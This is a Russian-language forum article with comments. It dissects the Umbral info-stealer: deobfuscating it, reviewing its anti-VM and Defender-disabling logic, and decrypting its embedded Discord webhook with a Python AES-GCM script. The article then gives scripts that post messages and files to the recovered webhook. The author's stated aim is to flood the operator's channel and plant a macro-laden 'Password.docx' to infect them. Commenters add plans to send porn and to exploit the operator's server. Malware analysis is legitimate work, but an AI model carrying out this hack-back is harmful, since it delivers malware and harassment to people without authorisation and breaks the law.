Всем привет, данная статья не очень прям серьезная, а чисто как "эксперимент" что ли... , но она касается фришных *******ов, которые работают по принципу прямой отправки без шифрования ***** в телеграм, либо дискорд по токену/вебхуку. Так вот. Мы можем не просто перехватывать ****, спамить в чаты, а также подсадить потенциального злоумышленника на нашего зверька, коль тупость может оказаться у него больше. Для себя я выделил несколько *******ов: это Empyrean ******* (на C#), 44Caliber (Написан на C#), ну и остался Umbral *******, тоже написанный на C# На его разборе мы и посмотрим как можем добраться до вебхука и почему не всегда получается достать его посредством простого залития на VT, либо еще какой-нибудь дефолтный сандбокс. Приступим, для начала нам нужнен подопытный, найти его можно на Hatching-е, по поиску аллертом YARA: familly:Umbral По стандарту закидываем в ExePEINFO C#, значит летим во всеми известный dnspy, перейдя в entry point мы видим следующую картину: Защита заключается в ренейме классов , как мы уже поняли декообфускатор de4dot спокойно справляется с этим, закинув наш семпл в него, мы получаем чистый семпл. Закидываем его также в dnspy Теперь попробуем воспользоваться популярными песочницами, которые способны отслеживать любые манипуляции с вебхуками. Начнем с virustotal, предварительно закинув билд на VT Как мы видим, в активности нет никакого вебхука, только ип адреса сетевой активности других приложений, а также ип адреса самого сандбокса, где семпл был и запущен. Мы в принципе ничего толкового с этой картины и не узнали Перейдем к следующему, один из наших вариантов tria.ge Можем заметить, что детект произошёл по YARA, но никакой сетевой активности в плане отправки нам файл не дал. Теперь пойдем в сам файл. Слегка погуляя по классам мы можем найти сам Anti-VM и посмотреть как он реализован и почему все-таки мы не могли изначально узнать сторону отстука данного семпла. Далее идет проверка uuids Ну и проверка так называемых "Пользователей", из них вы можете увидеть системы Windows Sandbox-а, название тачек триаги, эни рана. Ну и утилиты соотвественно для дебага В данном случае он убивает сразу двух зайцев, так как Virustotal тестирует все на своих машинах VMWARE. В совокупности с нормальной обфускацией вышла хорошая бы связка. Ибо большинство песочниц, популярных дебаггеров , снифферов тут "заблокировано". Но и также стоит отметить что особо и не разгуляешься в самой проверке. Также стоит отметить, что в нем имеется небольшой шеллкод, отключающий нам дефендер, опять же все шифруется Base64 xd: Этим действием отключает функции дефендера. Едем дальше, в чем же основная суть, вытащить отсюда Webhook дискорда Переходим в класс1 и замечаем такую картину: Мы видим зашифрованные строки, теперь нам нужно их расшифровать для последующего получения вебхука. Для удобства я переписал код на Python, коль алгоритм расшифровки всего этого сразу идёт ниже))) Чем мы любезно пользуемся и пиздим код, предварительно переписав его под Python import base64 from Crypto.Cipher import AES def smethod_0(encryptedData, key, iv): cipherText = encryptedData[:len(encryptedData) - 16] authTag = encryptedData[-16:] cipher = AES.new(key, AES.MODE_GCM, nonce=iv) decryptedData = cipher.decrypt_and_verify(cipherText, authTag) return decryptedData.decode('utf-8') s = "stroka" s2 = "stroka" s3 = "stroka" s4 = "stroka" s5 = "stroka" encryptedData = base64.b64decode(s3) key = base64.b64decode(s) iv = base64.b64decode(s2) webhook = smethod_0(encryptedData, key, iv) print(webhook) Python import base64 from Crypto.Cipher import AES def smethod_0(encryptedData, key, iv): cipherText = encryptedData[:len(encryptedData) - 16] authTag = encryptedData[-16:] cipher = AES.new(key, AES.MODE_GCM, nonce=iv) decryptedData = cipher.decrypt_and_verify(cipherText, authTag) return decryptedData.decode('utf-8') s = "stroka" s2 = "stroka" s3 = "stroka" s4 = "stroka" s5 = "stroka" encryptedData = base64.b64decode(s3) key = base64.b64decode(s) iv = base64.b64decode(s2) webhook = smethod_0(encryptedData, key, iv) print(webhook) Применив его к данным значениям мы получаем нужный нам вебхук. Что делаем дальше, попробуем написать какой-то привет нашему злоумышленнику. Воспользуемся следующим кодом: import requests def send_discord_message(webhook_url, message): payload = { 'content': message } response = requests.post(webhook_url, json=payload) if response.ok: print('+') webhook_url = 'полученный вебхук' message = 'ку хуй' send_discord_message(webhook_url, message) Python import requests def send_discord_message(webhook_url, message): payload = { 'content': message } response = requests.post(webhook_url, json=payload) if response.ok: print('+') webhook_url = 'полученный вебхук' message = 'ку хуй' send_discord_message(webhook_url, message) Как мы видим наше сообщение приходит в канал нашему кул-хацкеру. Мы можем зафлудить ему канал с логами или подкинуть нашего говна. Допустим создать Password.docx, где будет макрос с нашим говном в последствии. Вот пример такого файла import requests def send_discord_file(webhook_url, file_path): with open(file_path, 'rb') as file: response = requests.post(webhook_url, files={'file': file}) if response.ok: print('+') webhook_url = 'ваш вебхук тут' file_path = 'test.rar' send_discord_file(webhook_url, file_path) Python import requests def send_discord_file(webhook_url, file_path): with open(file_path, 'rb') as file: response = requests.post(webhook_url, files={'file': file}) if response.ok: print('+') webhook_url = 'ваш вебхук тут' file_path = 'test.rar' send_discord_file(webhook_url, file_path) И как мы заметим он приходит, подделав примерно под вид лога, можно подкинуть его. Спасибо за внимание, статья не несет никакого гайда, а скорее технический аспект и то, почему такие проекты лучше не использовать.
Бля. Да это гениально. Могу страдать херней и скидывать порнуху дибилам со *******ом. А этого дерьма хватает в темат чатах по типу читы майна.
ЛюблюГероин, естественно можно вытащить ип с билда, найти уязвимость на сервере, а затем с него все вытащить, но это не работает просто по кнопке
это ююйды которые на китайских платах все одинаковые? wmic csproduct get UUID вроде да? наизучасть вроде выучил команду
LordS_Inactive, это юиды, которые стояли на вм тачках, ханипотах и так далее, вот пример, с эни рана, две разные виртуалки, с разными конфигами с плана (200$) имеют одинаковые UUID
Doklsi, да я знаю ) там от платы это зависит ещё, если китайский кусок дерьма там везде одинаковый идет, 0306000- че-то там.